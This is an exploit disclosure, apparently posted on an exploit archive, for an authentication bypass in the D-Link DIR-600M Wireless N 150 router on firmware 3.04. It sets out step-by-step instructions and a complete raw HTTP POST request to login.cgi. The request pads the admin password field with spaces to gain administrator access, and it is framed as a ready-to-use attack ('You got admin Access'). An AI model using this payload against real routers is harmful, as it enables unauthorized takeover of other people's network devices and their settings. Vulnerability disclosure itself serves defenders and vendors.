DLink DIR-600M Wireless N 150 - Authentication Bypass Vulnerability

# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms
 
 
1) Description
 
After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.
 
Its More Dangerous when your Router has a public IP with remote login
enabled.
 
For More Details : www.touhidshaikh.com/blog/
 
IN MY CASE,
Router IP : http://192.168.100.1
 
 
 
Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring
 
2) Proof of Concept
 
Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm
 
Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")
 
 
 
Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------
 
POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
 
username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send
 
 
--------------------END here------------------------
 
Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.
 
 
 
 
-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------

#  0day.today [2018-04-11]  #